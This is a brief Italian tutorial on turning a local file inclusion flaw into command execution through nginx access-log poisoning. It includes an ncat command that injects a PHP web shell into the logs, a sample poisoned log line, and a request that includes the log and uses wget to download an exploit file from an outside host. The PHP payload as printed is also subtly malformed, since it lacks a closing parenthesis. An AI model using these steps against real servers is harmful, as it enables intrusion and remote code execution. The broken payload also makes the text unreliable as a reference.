Il allow_url_include
è disattivato per la maggior parte degli host che incontrerai. Quando non è possibile utilizzare RFI (Inclusione file remota), è sempre possibile provare LFI (Local File Inclusion). Il punto è che è necessario ottenere un codice memorizzato sul server da eseguire.
Se hai accesso ai log puoi provare a inserire PHP nei log. Un modo semplice è quello di connettersi tramite ncat per iniettare stringhe nei registri.
Per HTTPS:
ncat -nvv --ssl hostname 443
Quindi attende l'input. Ad esempio, puoi inserire quanto segue:
<?php echo shell_exec($_REQUEST['cmd'] ?>
Nei log vedresti la richiesta errata inviata al server web.
==> /var/log/nginx/access.log <==
xx.xx.xx.xx - - [28/Apr/2017:09:21:31 +0200] "<?php echo shell_exec($_REQUEST['cmd'] ?>" 400 173 "-" "-"
Se ora includi questo file di registro in cui hai tentato di includere l'URL, potresti essere in grado di scaricare il tuo URL utilizzando wget con qualcosa come la prossima richiesta:
http://192.168.8.133/test.php?page=/var/log/nginx/access.log&cmd=wget%20http://url-to-download/exploit.php
Funzionerà solo se l'host non ha disabilitato il comando shell_exec()
, ma questo è meno comune di allow_url_include=0